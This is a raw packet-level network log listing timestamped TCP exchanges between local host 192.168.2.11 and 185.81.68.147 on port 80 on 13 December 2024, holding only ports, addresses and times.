Dec 13, 2024 08:18:51.659323931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.659348965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.660394907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.660470009 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.660531998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.661673069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.661748886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.661931038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.662846088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.662935972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.662951946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.663975000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.664042950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.664073944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.665164948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.665245056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.665266991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.666361094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.666426897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.666450024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.667556047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.667596102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.667628050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.668742895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.668829918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.668838978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.669929028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.670011997 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.670027018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.671144962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.671201944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.671255112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.672324896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.672405005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.672440052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.673541069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.673619986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.673655033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.674730062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.674798965 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.674834013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.675905943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.675976038 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.675986052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.677114964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.677181005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.677217007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.678318977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.678390980 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.678406954 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.679533958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.679593086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.679620981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.680685997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.680752993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.680809975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.681870937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.681941986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.681973934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.683059931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.683125973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.683191061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.684313059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.684372902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.684428930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.685481071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.685537100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.685652971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.686646938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.686702013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.686737061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.687841892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.687897921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.687930107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.689059019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.689120054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.689130068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.690217972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.690288067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.690321922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.691418886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.691451073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.691492081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.692604065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.692697048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.692702055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.693815947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.693892002 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.693897963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.694999933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.695072889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.695116997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.696242094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.696314096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.696362019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.697410107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.697483063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.697494030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.698585033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.698657990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.698689938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.699816942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.699906111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.699920893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.700972080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.701040030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.701064110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.702172041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.702239990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.702275038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.703375101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.703439951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.703495979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.704622030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.704690933 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.704731941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.705811977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.705868959 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.705924988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.706940889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.707029104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.707029104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.761940956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.837819099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.837868929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.837907076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.838020086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.838125944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.838172913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.839134932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.839189053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.839303970 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.840178967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.840297937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.840390921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.841450930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.841531992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.841634989 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.842575073 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.842776060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.842869997 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.843797922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.843854904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.843967915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.845403910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.845443964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.845549107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.846129894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.846242905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.846334934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.847346067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.847450972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.847563982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.848511934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.848639965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.848733902 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.849725008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.849826097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.849934101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.850955963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.851039886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.851144075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.852124929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.852212906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.852314949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.853317022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.853420973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.853521109 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.854512930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.854635000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.854738951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.855715990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.855855942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.855952024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.856895924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.856937885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.857033968 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.858104944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.858181000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.858277082 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.859288931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.859898090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.860012054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.860455036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.860599041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.860692024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.861675024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.862193108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.862294912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.862839937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.862974882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.863068104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.864033937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.864141941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.864234924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.865236044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.865360022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.865447998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.866453886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.866574049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.866681099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.867659092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.867727041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.867822886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.868834019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.868937016 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.869038105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.870029926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.870125055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.870218992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.871216059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.871308088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.871393919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.872397900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.872503996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.872592926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.873590946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.873692036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.873779058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.874779940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.874919891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.875017881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.875984907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.876113892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.876204967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.877183914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.877284050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.877379894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.878437996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.878506899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.878601074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.879553080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.879653931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.879757881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.880754948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.880880117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.881230116 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.882050991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.882077932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.882198095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.883127928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.883240938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.883325100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.884376049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.884475946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.884563923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.885546923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.885680914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.885765076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.886707067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.886806965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.886924028 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.887907028 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.887969971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.888062000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.889122963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.889250040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.889328957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.890305042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.890413046 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.890501022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.891505957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.891606092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.891702890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.892683983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.892777920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.892860889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.893903971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.894004107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.894085884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.895076990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.895203114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.895286083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.896285057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.896389961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.896482944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.897494078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.897612095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.897695065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.898726940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.898890018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.898981094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.899915934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.949376106 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.029433012 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.029465914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.029653072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.029900074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.029963970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.029999971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.031094074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.031137943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.031222105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.032303095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.032409906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.032489061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.033535004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.033565044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.033634901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.034718037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.034768105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.034847975 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.035912037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.035968065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.036047935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.037062883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.037144899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.037265062 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.038242102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.038336039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.038417101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.039429903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.039539099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.039637089 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.040685892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.040867090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.040945053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.041846991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.042009115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.042089939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.043025970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.043173075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.043252945 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.044250965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.044322014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.044409037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.045414925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.045490980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.045569897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.046639919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.046735048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.046811104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.047899961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.047979116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.048060894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.049001932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.049114943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.049192905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:52.050199986 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:52.050286055 CET	80	49726	185.81.68.147	192.168.2.11
